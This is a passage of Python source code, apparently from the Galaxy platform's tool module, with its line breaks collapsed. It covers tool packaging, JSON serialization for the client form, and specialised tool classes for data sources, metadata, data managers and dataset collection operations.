Add the tool XML to the tuple that will be used to populate the tarball. if os.path.exists(os.path.join(tool_path, tool_command)): tarball_files.append((os.path.join(tool_path, tool_command), tool_command)) # Find and add macros and code files. for external_file in tool.get_externally_referenced_paths(os.path.abspath(tool.config_file)): external_file_abspath = os.path.abspath(os.path.join(tool_path, external_file)) tarball_files.append((external_file_abspath, external_file)) if os.path.exists(os.path.join(tool_path, "Dockerfile")): tarball_files.append((os.path.join(tool_path, "Dockerfile"), "Dockerfile")) # Find tests, and check them for test data. tests = tool.tests if tests is not None: for test in tests: # Add input file tuples to the list. for input in test.inputs: for input_value in test.inputs[input]: input_filename = str(input_value) input_path = os.path.abspath(os.path.join("test-data", input_filename)) if os.path.exists(input_path): td_tup = (input_path, os.path.join("test-data", input_filename)) tarball_files.append(td_tup) # And add output file tuples to the list. for _, filename, _ in test.outputs: output_filepath = os.path.abspath(os.path.join("test-data", filename)) if os.path.exists(output_filepath): td_tup = (output_filepath, os.path.join("test-data", filename)) tarball_files.append(td_tup) for param in tool.input_params: # Check for tool data table definitions. if hasattr(param, "options"): if hasattr(param.options, "tool_data_table"): data_table = param.options.tool_data_table if hasattr(data_table, "filenames"): data_table_definitions = [] for data_table_filename in data_table.filenames: # FIXME: from_shed_config seems to always be False. if not data_table.filenames[data_table_filename]["from_shed_config"]: tar_file = f"{data_table.filenames[data_table_filename]['filename']}.sample" sample_file = os.path.join( data_table.filenames[data_table_filename]["tool_data_path"], tar_file ) # Use the .sample file, if one exists. If not, skip this data table. if os.path.exists(sample_file): tarfile_path, tarfile_name = os.path.split(tar_file) tarfile_path = os.path.join("tool-data", tarfile_name) tarball_files.append((sample_file, tarfile_path)) data_table_definitions.append(data_table.xml_string) if len(data_table_definitions) > 0: # Put the data table definition XML in a temporary file. table_definition = '<?xml version="1.0" encoding="utf-8"?>\n<tables>\n %s</tables>' table_definition = table_definition % "\n".join(data_table_definitions) with tempfile.NamedTemporaryFile(mode="w", delete=False) as fh3: table_conf = fh3.name fh3.write(table_definition) tarball_files.append( (table_conf, os.path.join("tool-data", "tool_data_table_conf.xml.sample")) ) temp_files.append(table_conf) # Create the tarball. with tempfile.NamedTemporaryFile(suffix=".tgz", delete=False) as fh4: tarball_archive = fh4.name tarball = tarfile.open(name=tarball_archive, mode="w:gz") # Add the files from the previously generated list. for fspath, tarpath in tarball_files: tarball.add(fspath, arcname=tarpath) tarball.close() # Delete any temporary files that were generated. for temp_file in temp_files: os.remove(temp_file) return tarball_archive def to_dict(self, trans, link_details=False, io_details=False, tool_help=False): """Returns dict of tool.""" # Basic information tool_dict = super().to_dict() tool_dict["edam_operations"] = self.edam_operations tool_dict["edam_topics"] = self.edam_topics tool_dict["hidden"] = self.hidden tool_dict["is_workflow_compatible"] = self.is_workflow_compatible tool_dict["xrefs"] = self.xrefs # Fill in ToolShedRepository info if hasattr(self, "tool_shed") and self.tool_shed: tool_dict["tool_shed_repository"] = { "name": self.repository_name, "owner": self.repository_owner, "changeset_revision": self.changeset_revision, "tool_shed": self.tool_shed, } # If an admin user, expose the path to the actual tool config XML file. if trans.user_is_admin: config_file = None if not self.config_file else os.path.abspath(self.config_file) tool_dict["config_file"] = config_file # Add link details. if link_details: # Add details for creating a hyperlink to the tool. if not isinstance(self, DataSourceTool): link = self.app.url_for(controller="tool_runner", tool_id=self.id) else: link = self.app.url_for(controller="tool_runner", action="data_source_redirect", tool_id=self.id) # Basic information tool_dict.update({"link": link, "min_width": self.uihints.get("minwidth", -1), "target": self.target}) # Add input and output details. if io_details: tool_dict["inputs"] = [input.to_dict(trans) for input in self.inputs.values()] tool_dict["outputs"] = [output.to_dict(app=self.app) for output in self.outputs.values()] tool_dict["panel_section_id"], tool_dict["panel_section_name"] = self.get_panel_section() tool_class = self.__class__ # FIXME: the Tool class should declare directly, instead of ad hoc inspection regular_form = tool_class == Tool or isinstance(self, (DatabaseOperationTool, InteractiveTool)) tool_dict["form_style"] = "regular" if regular_form else "special" if tool_help: # create tool help help_txt = "" if self.help: help_txt = self.help.render( static_path=self.app.url_for("/static"), host_url=self.app.url_for("/", qualified=True) ) help_txt = unicodify(help_txt) tool_dict["help"] = help_txt return tool_dict def to_json(self, trans, kwd=None, job=None, workflow_building_mode=False, history=None): """ Recursively creates a tool dictionary containing repeats, dynamic options and updated states. """ if kwd is None: kwd = {} if ( workflow_building_mode is workflow_building_modes.USE_HISTORY or workflow_building_mode is workflow_building_modes.DISABLED ): # We don't need a history when exporting a workflow for the workflow editor or when downloading a workflow history = history or trans.get_history() if history is None and job is not None: history = self.history_manager.get_owned(job.history.id, trans.user, current_history=trans.history) if history is None: raise exceptions.MessageException("History unavailable. Please specify a valid history id") # build request context request_context = proxy_work_context_for_history(trans, history, workflow_building_mode=workflow_building_mode) # load job parameters into incoming tool_message = "" tool_warnings = "" if job: try: job_params = job.get_param_values(self.app, ignore_errors=True) tool_warnings = self.check_and_update_param_values(job_params, request_context, update_values=True) self._map_source_to_history(request_context, self.inputs, job_params) tool_message = self._compare_tool_version(job) params_to_incoming(kwd, self.inputs, job_params, self.app) except Exception as e: raise exceptions.MessageException(unicodify(e)) # create parameter object params = Params(kwd, sanitize=False) # expand incoming parameters (parameters might trigger multiple tool executions, # here we select the first execution only in order to resolve dynamic parameters) expanded_incomings, _ = expand_meta_parameters(trans, self, params.__dict__) if expanded_incomings: params.__dict__ = expanded_incomings[0] # do param translation here, used by datasource tools if self.input_translator: self.input_translator.translate(params) set_dataset_matcher_factory(request_context, self) # create tool state state_inputs: Dict[str, str] = {} state_errors: Dict[str, str] = {} populate_state(request_context, self.inputs, params.__dict__, state_inputs, state_errors) # create tool model tool_model = self.to_dict(request_context) tool_model["inputs"] = [] self.populate_model(request_context, self.inputs, state_inputs, tool_model["inputs"]) unset_dataset_matcher_factory(request_context) # create tool help tool_help = "" if self.help: tool_help = self.help.render( static_path=self.app.url_for("/static"), host_url=self.app.url_for("/", qualified=True) ) tool_help = unicodify(tool_help, "utf-8") if isinstance(self.action, tuple): action = self.action[0] + self.app.url_for(self.action[1]) else: action = self.app.url_for(self.action) # update tool model tool_model.update( { "id": self.id, "help": tool_help, "citations": bool(self.citations), "sharable_url": self.sharable_url, "message": tool_message, "warnings": tool_warnings, "versions": self.tool_versions, "requirements": [{"name": r.name, "version": r.version} for r in self.requirements], "errors": state_errors, "tool_errors": self.tool_errors, "state_inputs": params_to_strings(self.inputs, state_inputs, self.app, use_security=True, nested=True), "job_id": trans.security.encode_id(job.id) if job else None, "job_remap": job.remappable() if job else None, "history_id": trans.security.encode_id(history.id) if history else None, "display": self.display_interface, "action": action, "license": self.license, "creator": self.creator, "method": self.method, "enctype": self.enctype, } ) return tool_model def populate_model(self, request_context, inputs, state_inputs, group_inputs, other_values=None): """ Populates the tool model consumed by the client form builder. """ other_values = ExpressionContext(state_inputs, other_values) for input_index, input in enumerate(inputs.values()): tool_dict = None group_state = state_inputs.get(input.name, {}) if input.type == "repeat": tool_dict = input.to_dict(request_context) group_size = len(group_state) tool_dict["cache"] = [None] * group_size group_cache: List[List[str]] = tool_dict["cache"] for i in range(group_size): group_cache[i] = [] self.populate_model(request_context, input.inputs, group_state[i], group_cache[i], other_values) elif input.type == "conditional": tool_dict = input.to_dict(request_context) if "test_param" in tool_dict: test_param = tool_dict["test_param"] test_param["value"] = input.test_param.value_to_basic( group_state.get( test_param["name"], input.test_param.get_initial_value(request_context, other_values) ), self.app, ) test_param["text_value"] = input.test_param.value_to_display_text(test_param["value"]) for i in range(len(tool_dict["cases"])): current_state = {} if i == group_state.get("__current_case__"): current_state = group_state self.populate_model( request_context, input.cases[i].inputs, current_state, tool_dict["cases"][i]["inputs"], other_values, ) elif input.type == "section": tool_dict = input.to_dict(request_context) self.populate_model(request_context, input.inputs, group_state, tool_dict["inputs"], other_values) else: try: initial_value = input.get_initial_value(request_context, other_values) tool_dict = input.to_dict(request_context, other_values=other_values) tool_dict["value"] = input.value_to_basic( state_inputs.get(input.name, initial_value), self.app, use_security=True ) tool_dict["default_value"] = input.value_to_basic(initial_value, self.app, use_security=True) tool_dict["text_value"] = input.value_to_display_text(tool_dict["value"]) except ImplicitConversionRequired: tool_dict = input.to_dict(request_context) # This hack leads client to display a text field tool_dict["textable"] = True except Exception: tool_dict = input.to_dict(request_context) log.exception("tools::to_json() - Skipping parameter expansion '%s'", input.name) if input_index >= len(group_inputs): group_inputs.append(tool_dict) else: group_inputs[input_index] = tool_dict def _map_source_to_history(self, trans, tool_inputs, params): # Need to remap dataset parameters. Job parameters point to original # dataset used; parameter should be the analygous dataset in the # current history. history = trans.history # Create index for hdas. hda_source_dict = {} for hda in history.datasets: key = f"{hda.hid}_{hda.dataset.id}" hda_source_dict[hda.dataset.id] = hda_source_dict[key] = hda # Ditto for dataset collections. hdca_source_dict = {} for hdca in history.dataset_collections: key = f"{hdca.hid}_{hdca.collection.id}" hdca_source_dict[hdca.collection.id] = hdca_source_dict[key] = hdca # Map dataset or collection to current history def map_to_history(value): id = None source = None if isinstance(value, self.app.model.HistoryDatasetAssociation): id = value.dataset.id source = hda_source_dict elif isinstance(value, self.app.model.HistoryDatasetCollectionAssociation): id = value.collection.id source = hdca_source_dict else: return None key = f"{value.hid}_{id}" if key in source: return source[key] elif id in source: return source[id] else: return None def mapping_callback(input, value, **kwargs): if isinstance(input, DataToolParameter): if isinstance(value, list): values = [] for val in value: new_val = map_to_history(val) if new_val: values.append(new_val) else: values.append(val) return values else: return map_to_history(value) elif isinstance(input, DataCollectionToolParameter): return map_to_history(value) visit_input_values(tool_inputs, params, mapping_callback) def _compare_tool_version(self, job): """ Compares a tool version with the tool version from a job (from ToolRunner). """ tool_id = job.tool_id tool_version = job.tool_version message = "" try: select_field, tools, tool = self.app.toolbox.get_tool_components( tool_id, tool_version=tool_version, get_loaded_tools_by_lineage=False, set_selected=True ) if tool is None: raise exceptions.MessageException( "This dataset was created by an obsolete tool (%s). Can't re-run." % tool_id ) if (self.id != tool_id and self.old_id != tool_id) or self.version != tool_version: if self.id == tool_id: if tool_version: message = f'This job was run with tool version "{tool_version}", which is not available. ' if len(tools) > 1: message += ( "You can re-run the job with the selected tool or choose another version of the tool. " ) else: message += "You can re-run the job with this tool version, which is a different version of the original tool. " else: new_tool_shed_url = f"{tool.sharable_url}/{tool.changeset_revision}/" old_tool_shed_url = get_tool_shed_url_from_tool_shed_registry(self.app, tool_id.split("/repos/")[0]) old_tool_shed_url = f"{old_tool_shed_url}/view/{tool.repository_owner}/{tool.repository_name}/" message = f'This job was run with <a href="{old_tool_shed_url}" target="_blank">tool id "{tool_id}"</a>, version "{tool_version}", which is not available. ' if len(tools) > 1: message += f'You can re-run the job with the selected <a href="{new_tool_shed_url}" target="_blank">tool id "{self.id}"</a> or choose another derivation of the tool. ' else: message += f'You can re-run the job with <a href="{new_tool_shed_url}" target="_blank">tool id "{self.id}"</a>, which is a derivation of the original tool. ' if not self.is_latest_version: message += "There is a newer version of this tool available." except Exception as e: raise exceptions.MessageException(unicodify(e)) return message def get_default_history_by_trans(self, trans, create=False): return trans.get_history(create=create) @classmethod def get_externally_referenced_paths(self, path): """Return relative paths to externally referenced files by the tool described by file at `path`. External components should not assume things about the structure of tool xml files (this is the tool's responsibility). """ tree = raw_tool_xml_tree(path) root = tree.getroot() external_paths = [] for code_elem in root.findall("code"): external_path = code_elem.get("file") if external_path: external_paths.append(external_path) external_paths.extend(imported_macro_paths(root)) # May also need to load external citation files as well at some point. return external_paths class OutputParameterJSONTool(Tool): """ Alternate implementation of Tool that provides parameters and other values JSONified within the contents of an output dataset """ tool_type = "output_parameter_json" def _prepare_json_list(self, param_list): rval = [] for value in param_list: if isinstance(value, dict): rval.append(self._prepare_json_param_dict(value)) elif isinstance(value, list): rval.append(self._prepare_json_list(value)) else: rval.append(str(value)) return rval def _prepare_json_param_dict(self, param_dict): rval = {} for key, value in param_dict.items(): if isinstance(value, dict): rval[key] = self._prepare_json_param_dict(value) elif isinstance(value, list): rval[key] = self._prepare_json_list(value) else: rval[key] = str(value) return rval def exec_before_job(self, app, inp_data, out_data, param_dict=None): if param_dict is None: param_dict = {} json_params = {} json_params["param_dict"] = self._prepare_json_param_dict( param_dict ) # it would probably be better to store the original incoming parameters here, instead of the Galaxy modified ones? json_params["output_data"] = [] json_params["job_config"] = dict( GALAXY_DATATYPES_CONF_FILE=param_dict.get("GALAXY_DATATYPES_CONF_FILE"), GALAXY_ROOT_DIR=param_dict.get("GALAXY_ROOT_DIR"), TOOL_PROVIDED_JOB_METADATA_FILE=self.provided_metadata_file, ) json_filename = None for out_name, data in out_data.items(): # use wrapped dataset to access certain values wrapped_data = param_dict.get(out_name) # allow multiple files to be created file_name = str(wrapped_data) extra_files_path = str(wrapped_data.files_path) data_dict = dict( out_data_name=out_name, ext=data.ext, dataset_id=data.dataset.id, hda_id=data.id, file_name=file_name, extra_files_path=extra_files_path, ) json_params["output_data"].append(data_dict) if json_filename is None: json_filename = file_name if json_filename is None: raise Exception("Must call 'exec_before_job' with 'out_data' containing at least one entry.") with open(json_filename, "w") as out: out.write(json.dumps(json_params)) class ExpressionTool(Tool): requires_js_runtime = True tool_type = "expression" tool_type_local = True EXPRESSION_INPUTS_NAME = "_expression_inputs_.json" def parse_command(self, tool_source): self.command = f"cd ../; {expressions.EXPRESSION_SCRIPT_CALL}" self.interpreter = None self._expression = tool_source.parse_expression().strip() def parse_outputs(self, tool_source): # Setup self.outputs and self.output_collections super().parse_outputs(tool_source) # Validate these outputs for expression tools. if len(self.output_collections) != 0: message = "Expression tools may not declare output collections at this time." raise Exception(message) for output in self.outputs.values(): if not hasattr(output, "from_expression"): message = "Expression tools may not declare output datasets at this time." raise Exception(message) def exec_before_job(self, app, inp_data, out_data, param_dict=None): super().exec_before_job(app, inp_data, out_data, param_dict=param_dict) local_working_directory = param_dict["__local_working_directory__"] expression_inputs_path = os.path.join(local_working_directory, ExpressionTool.EXPRESSION_INPUTS_NAME) outputs = [] for out_name in out_data.keys(): output_def = self.outputs[out_name] wrapped_data = param_dict.get(out_name) file_name = str(wrapped_data) outputs.append( dict( name=out_name, from_expression=output_def.from_expression, path=file_name, ) ) if param_dict is None: raise Exception("Internal error - param_dict is empty.") job: Dict[str, str] = {} json_wrap(self.inputs, param_dict, self.profile, job, handle_files="OBJECT") expression_inputs = { "job": job, "script": self._expression, "outputs": outputs, } expressions.write_evalute_script(os.path.join(local_working_directory)) with open(expression_inputs_path, "w") as f: json.dump(expression_inputs, f) def exec_after_process(self, app, inp_data, out_data, param_dict, job=None, **kwds): for key, val in self.outputs.items(): if key not in out_data: # Skip filtered outputs continue if val.output_type == "data": with open(out_data[key].file_name) as f: src = json.load(f) assert isinstance(src, dict), f"Expected dataset 'src' to be a dictionary - actual type is {type(src)}" dataset_id = src["id"] copy_object = None for input_dataset in inp_data.values(): if input_dataset and input_dataset.id == dataset_id: copy_object = input_dataset break if copy_object is None: raise Exception("Failed to find dataset output.") out_data[key].copy_from(copy_object) def parse_environment_variables(self, tool_source): """Setup environment variable for inputs file.""" environmnt_variables_raw = super().parse_environment_variables(tool_source) expression_script_inputs = dict( name="GALAXY_EXPRESSION_INPUTS", template=ExpressionTool.EXPRESSION_INPUTS_NAME, ) environmnt_variables_raw.append(expression_script_inputs) return environmnt_variables_raw class DataSourceTool(OutputParameterJSONTool): """ Alternate implementation of Tool for data_source tools -- those that allow the user to query and extract data from another web site. """ tool_type = "data_source" default_tool_action = DataSourceToolAction def _build_GALAXY_URL_parameter(self): return ToolParameter.build( self, XML(f'<param name="GALAXY_URL" type="baseurl" value="/tool_runner?tool_id={self.id}" />') ) def parse_inputs(self, tool_source): super().parse_inputs(tool_source) # Open all data_source tools in _top. self.target = "_top" if "GALAXY_URL" not in self.inputs: self.inputs["GALAXY_URL"] = self._build_GALAXY_URL_parameter() self.inputs_by_page[0]["GALAXY_URL"] = self.inputs["GALAXY_URL"] def exec_before_job(self, app, inp_data, out_data, param_dict=None): if param_dict is None: param_dict = {} dbkey = param_dict.get("dbkey") info = param_dict.get("info") data_type = param_dict.get("data_type") name = param_dict.get("name") json_params = {} json_params["param_dict"] = self._prepare_json_param_dict( param_dict ) # it would probably be better to store the original incoming parameters here, instead of the Galaxy modified ones? json_params["output_data"] = [] json_params["job_config"] = dict( GALAXY_DATATYPES_CONF_FILE=param_dict.get("GALAXY_DATATYPES_CONF_FILE"), GALAXY_ROOT_DIR=param_dict.get("GALAXY_ROOT_DIR"), TOOL_PROVIDED_JOB_METADATA_FILE=self.provided_metadata_file, ) json_filename = None for out_name, data in out_data.items(): # use wrapped dataset to access certain values wrapped_data = param_dict.get(out_name) # allow multiple files to be created cur_base_param_name = f"GALAXY|{out_name}|" cur_name = param_dict.get(f"{cur_base_param_name}name", name) cur_dbkey = param_dict.get(f"{cur_base_param_name}dkey", dbkey) cur_info = param_dict.get(f"{cur_base_param_name}info", info) cur_data_type = param_dict.get(f"{cur_base_param_name}data_type", data_type) if cur_name: data.name = cur_name if not data.info and cur_info: data.info = cur_info if cur_dbkey: data.dbkey = cur_dbkey if cur_data_type: data.extension = cur_data_type file_name = str(wrapped_data) extra_files_path = str(wrapped_data.files_path) data_dict = dict( out_data_name=out_name, ext=data.ext, dataset_id=data.dataset.id, hda_id=data.id, file_name=file_name, extra_files_path=extra_files_path, ) json_params["output_data"].append(data_dict) if json_filename is None: json_filename = file_name if json_filename is None: raise Exception("Must call 'exec_before_job' with 'out_data' containing at least one entry.") with open(json_filename, "w") as out: out.write(json.dumps(json_params)) class AsyncDataSourceTool(DataSourceTool): tool_type = "data_source_async" def _build_GALAXY_URL_parameter(self): return ToolParameter.build(self, XML(f'<param name="GALAXY_URL" type="baseurl" value="/async/{self.id}" />')) class DataDestinationTool(Tool): tool_type = "data_destination" class SetMetadataTool(Tool): """ Tool implementation for special tool that sets metadata on an existing dataset. """ tool_type = "set_metadata" requires_setting_metadata = False tool_action: "SetMetadataToolAction" def regenerate_imported_metadata_if_needed(self, hda, history, job): if hda.has_metadata_files: job, *_ = self.tool_action.execute_via_app( self, self.app, job.session_id, history.id, job.user, incoming={"input1": hda}, overwrite=False ) self.app.job_manager.enqueue(job=job, tool=self) def exec_after_process(self, app, inp_data, out_data, param_dict, job=None, **kwds): working_directory = app.object_store.get_filename(job, base_dir="job_work", dir_only=True, obj_dir=True) for name, dataset in inp_data.items(): external_metadata = get_metadata_compute_strategy(app.config, job.id, tool_id=self.id) sa_session = app.model.context metadata_set_successfully = external_metadata.external_metadata_set_successfully( dataset, name, sa_session, working_directory=working_directory ) if metadata_set_successfully: try: # external_metadata_set_successfully is only an approximation (the metadata json file exists), # things can still go wrong, but we don't want to fail here since it can lead to a resubmission loop external_metadata.load_metadata(dataset, name, sa_session, working_directory=working_directory) except Exception: metadata_set_successfully = False log.exception("Exception occured while loading metadata results") if not metadata_set_successfully: dataset._state = model.Dataset.states.FAILED_METADATA self.sa_session.add(dataset) self.sa_session.flush() return # If setting external metadata has failed, how can we inform the # user? For now, we'll leave the default metadata and set the state # back to its original. dataset.datatype.after_setting_metadata(dataset) if job and job.tool_id == "1.0.0": dataset.state = param_dict.get("__ORIGINAL_DATASET_STATE__") else: # Revert dataset.state to fall back to dataset.dataset.state dataset._state = None # Need to reset the peek, which may rely on metadata # TODO: move this into metadata setting, setting the peek requires dataset access, # and large chunks of the dataset may be read here. try: dataset.set_peek() except Exception: log.exception("Exception occured while setting dataset peek") self.sa_session.add(dataset) self.sa_session.flush() def job_failed(self, job_wrapper, message, exception=False): job = job_wrapper.sa_session.query(model.Job).get(job_wrapper.job_id) if job: inp_data = {} for dataset_assoc in job.input_datasets: inp_data[dataset_assoc.name] = dataset_assoc.dataset return self.exec_after_process(job_wrapper.app, inp_data, {}, job_wrapper.get_param_dict(), job=job) class ExportHistoryTool(Tool): tool_type = "export_history" class ImportHistoryTool(Tool): tool_type = "import_history" def exec_after_process(self, app, inp_data, out_data, param_dict, job, final_job_state=None, **kwds): super().exec_after_process(app, inp_data, out_data, param_dict, job=job, **kwds) if final_job_state != DETECTED_JOB_STATE.OK: return JobImportHistoryArchiveWrapper(self.app, job.id).cleanup_after_job() class InteractiveTool(Tool): tool_type = "interactive" produces_entry_points = True def __init__(self, config_file, tool_source, app, **kwd): assert app.config.interactivetools_enable, ValueError( "Trying to load an InteractiveTool, but InteractiveTools are not enabled." ) super().__init__(config_file, tool_source, app, **kwd) def __remove_interactivetool_by_job(self, job): if job: eps = job.interactivetool_entry_points log.debug("__remove_interactivetool_by_job: %s", eps) self.app.interactivetool_manager.remove_entry_points(eps) else: log.warning("Could not determine job to stop InteractiveTool: %s", job) def exec_after_process(self, app, inp_data, out_data, param_dict, job=None, **kwds): # run original exec_after_process super().exec_after_process(app, inp_data, out_data, param_dict, job=job, **kwds) self.__remove_interactivetool_by_job(job) def job_failed(self, job_wrapper, message, exception=False): super().job_failed(job_wrapper, message, exception=exception) job = job_wrapper.sa_session.query(model.Job).get(job_wrapper.job_id) self.__remove_interactivetool_by_job(job) class DataManagerTool(OutputParameterJSONTool): tool_type = "manage_data" default_tool_action = DataManagerToolAction def __init__(self, config_file, root, app, guid=None, data_manager_id=None, **kwds): self.data_manager_id = data_manager_id super().__init__(config_file, root, app, guid=guid, **kwds) if self.data_manager_id is None: self.data_manager_id = self.id def exec_after_process(self, app, inp_data, out_data, param_dict, job=None, final_job_state=None, **kwds): assert self.allow_user_access(job.user), "You must be an admin to access this tool." if final_job_state != DETECTED_JOB_STATE.OK: return # run original exec_after_process super().exec_after_process(app, inp_data, out_data, param_dict, job=job, **kwds) # process results of tool data_manager_id = job.data_manager_association.data_manager_id data_manager = self.app.data_managers.get_manager(data_manager_id, None) assert ( data_manager is not None ), f"Invalid data manager ({data_manager_id}) requested. It may have been removed before the job completed." data_manager.process_result(out_data) def get_default_history_by_trans(self, trans, create=False): def _create_data_manager_history(user): history = trans.app.model.History(name="Data Manager History (automatically created)", user=user) data_manager_association = trans.app.model.DataManagerHistoryAssociation(user=user, history=history) trans.sa_session.add_all((history, data_manager_association)) trans.sa_session.flush() return history user = trans.user assert user, "You must be logged in to use this tool." assert self.allow_user_access(user), "You must be an admin to access this tool." dm_history_associations = user.data_manager_histories if not dm_history_associations: # create if create: history = _create_data_manager_history(user) else: history = None else: for dm_history_association in reversed(dm_history_associations): history = dm_history_association.history if not history.deleted: break if history.deleted: if create: history = _create_data_manager_history(user) else: history = None return history def allow_user_access(self, user, attempting_access=True) -> bool: """Check user access to this tool. :param user: model object representing user. :type user: galaxy.model.User :param attempting_access: is the user attempting to do something with the the tool (set false for incidental checks like toolbox listing) :type attempting_access: bool :returns: Whether the user is allowed to access the tool. Data Manager tools are only accessible to admins. """ if super().allow_user_access(user) and self.app.config.is_admin_user(user): return True # If this is just an incidental check - do not log the scary message # about users attempting to do something problematic. if attempting_access: if user: user = user.id log.debug("User (%s) attempted to access a data manager tool (%s), but is not an admin.", user, self.id) return False class DatabaseOperationTool(Tool): default_tool_action = ModelOperationToolAction require_dataset_ok = True tool_type_local = True @property def valid_input_states(self): if self.require_dataset_ok: return (model.Dataset.states.OK,) else: return model.Dataset.terminal_states @property def allow_errored_inputs(self): return not self.require_dataset_ok def check_inputs_ready(self, input_datasets, input_dataset_collections): def check_dataset_state(state): if state in model.Dataset.non_ready_states: raise ToolInputsNotReadyException("An input dataset is pending.") if self.require_dataset_ok: if state != model.Dataset.states.OK: raise ValueError( f"Tool requires inputs to be in valid state, but dataset {input_dataset} is in state '{input_dataset.state}'" ) for input_dataset in input_datasets.values(): check_dataset_state(input_dataset.state) for input_dataset_collection_pairs in input_dataset_collections.values(): for input_dataset_collection, _ in input_dataset_collection_pairs: if not input_dataset_collection.collection.populated_optimized: raise ToolInputsNotReadyException("An input collection is not populated.") states, _ = input_dataset_collection.collection.dataset_states_and_extensions_summary for state in states: check_dataset_state(state) def _add_datasets_to_history(self, history, elements, datasets_visible=False): for element_object in elements: if getattr(element_object, "history_content_type", None) == "dataset": element_object.visible = datasets_visible history.stage_addition(element_object) def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): return self._outputs_dict() def _outputs_dict(self): return {} class UnzipCollectionTool(DatabaseOperationTool): tool_type = "unzip_collection" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): has_collection = incoming["input"] if hasattr(has_collection, "element_type"): # It is a DCE collection = has_collection.element_object else: # It is an HDCA collection = has_collection.collection assert collection.collection_type == "paired" forward_o, reverse_o = collection.dataset_instances forward, reverse = forward_o.copy(copy_tags=forward_o.tags), reverse_o.copy(copy_tags=reverse_o.tags) self._add_datasets_to_history(history, [forward, reverse]) out_data["forward"] = forward out_data["reverse"] = reverse class ZipCollectionTool(DatabaseOperationTool): tool_type = "zip_collection" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): forward_o = incoming["input_forward"] reverse_o = incoming["input_reverse"] forward, reverse = forward_o.copy(copy_tags=forward_o.tags), reverse_o.copy(copy_tags=reverse_o.tags) new_elements = {} new_elements["forward"] = forward new_elements["reverse"] = reverse self._add_datasets_to_history(history, [forward, reverse]) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class BuildListCollectionTool(DatabaseOperationTool): tool_type = "build_list" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): new_elements = {} for i, incoming_repeat in enumerate(incoming["datasets"]): if incoming_repeat["input"]: try: id_select = incoming_repeat["id_cond"]["id_select"] except KeyError: # Prior to tool version 1.2.0 id_select = "idx" if id_select == "idx": identifier = str(i) elif id_select == "identifier": identifier = getattr(incoming_repeat["input"], "element_identifier", incoming_repeat["input"].name) elif id_select == "manual": identifier = incoming_repeat["id_cond"]["identifier"] new_elements[identifier] = incoming_repeat["input"].copy(copy_tags=incoming_repeat["input"].tags) self._add_datasets_to_history(history, new_elements.values()) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class ExtractDatasetCollectionTool(DatabaseOperationTool): tool_type = "extract_dataset" def produce_outputs(self, trans, out_data, output_collections, incoming, history, tags=None, **kwds): has_collection = incoming["input"] if hasattr(has_collection, "element_type"): # It is a DCE collection = has_collection.element_object else: # It is an HDCA collection = has_collection.collection collection_type = collection.collection_type assert collection_type in ["list", "paired"] how = incoming["which"]["which_dataset"] if how == "first": extracted_element = collection.first_dataset_element elif how == "by_identifier": extracted_element = collection[incoming["which"]["identifier"]] elif how == "by_index": extracted_element = collection[int(incoming["which"]["index"])] else: raise Exception("Invalid tool parameters.") extracted = extracted_element.element_object extracted_o = extracted.copy(copy_tags=extracted.tags, new_name=extracted_element.element_identifier) self._add_datasets_to_history(history, [extracted_o], datasets_visible=True) out_data["output"] = extracted_o class MergeCollectionTool(DatabaseOperationTool): tool_type = "merge_collection" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): input_lists = [] for incoming_repeat in incoming["inputs"]: input_lists.append(incoming_repeat["input"]) advanced = incoming.get("advanced", None) dupl_actions = "keep_first" suffix_pattern = None if advanced is not None: dupl_actions = advanced["conflict"]["duplicate_options"] if dupl_actions in ["suffix_conflict", "suffix_every", "suffix_conflict_rest"]: suffix_pattern = advanced["conflict"]["suffix_pattern"] new_element_structure = {} # Which inputs does the identifier appear in. identifiers_map: Dict[str, List[int]] = {} for input_num, input_list in enumerate(input_lists): for dce in input_list.collection.elements: element_identifier = dce.element_identifier if element_identifier not in identifiers_map: identifiers_map[element_identifier] = [] elif dupl_actions == "fail": raise Exception(f"Duplicate collection element identifiers found for [{element_identifier}]") identifiers_map[element_identifier].append(input_num) for copy, input_list in enumerate(input_lists): for dce in input_list.collection.elements: element = dce.element_object valid = False # dealing with a single element if hasattr(element, "is_ok"): if element.is_ok: valid = True elif hasattr(element, "dataset_instances"): # we are probably a list:paired dataset, both need to be in non error state forward_o, reverse_o = element.dataset_instances if forward_o.is_ok and reverse_o.is_ok: valid = True if valid: element_identifier = dce.element_identifier identifier_seen = element_identifier in new_element_structure appearances = identifiers_map[element_identifier] add_suffix = False if dupl_actions == "suffix_every": add_suffix = True elif dupl_actions == "suffix_conflict" and len(appearances) > 1: add_suffix = True elif dupl_actions == "suffix_conflict_rest" and len(appearances) > 1 and appearances[0] != copy: add_suffix = True if dupl_actions == "keep_first" and identifier_seen: continue if add_suffix and suffix_pattern: suffix = suffix_pattern.replace("#", str(copy + 1)) effective_identifer = f"{element_identifier}{suffix}" else: effective_identifer = element_identifier new_element_structure[effective_identifer] = element # Don't copy until we know everything is fine and we have the structure of the list ready to go. new_elements = {} for key, value in new_element_structure.items(): if getattr(value, "history_content_type", None) == "dataset": copied_value = value.copy(copy_tags=value.tags, flush=False) else: copied_value = value.copy() new_elements[key] = copied_value self._add_datasets_to_history(history, new_elements.values()) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class FilterDatasetsTool(DatabaseOperationTool): def _get_new_elements(self, history, elements_to_copy): new_elements = {} for dce in elements_to_copy: element_identifier = dce.element_identifier if getattr(dce.element_object, "history_content_type", None) == "dataset": copied_value = dce.element_object.copy(copy_tags=dce.element_object.tags, flush=False) else: copied_value = dce.element_object.copy() new_elements[element_identifier] = copied_value return new_elements def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): collection = incoming["input"] if hasattr(collection, "element_object"): # A list elements = collection.element_object.elements collection_type = collection.element_object.collection_type else: # A list of pairs elements = collection.collection.elements collection_type = collection.collection.collection_type # We only process list or list of pair collections. Higher order collection will be mapped over assert collection_type in ("list", "list:paired") elements_to_copy = [] for element in elements: if collection_type == "list": if self.element_is_valid(element): elements_to_copy.append(element) else: valid = True for child_element in element.child_collection.elements: if not self.element_is_valid(child_element): valid = False if valid: elements_to_copy.append(element) new_elements = 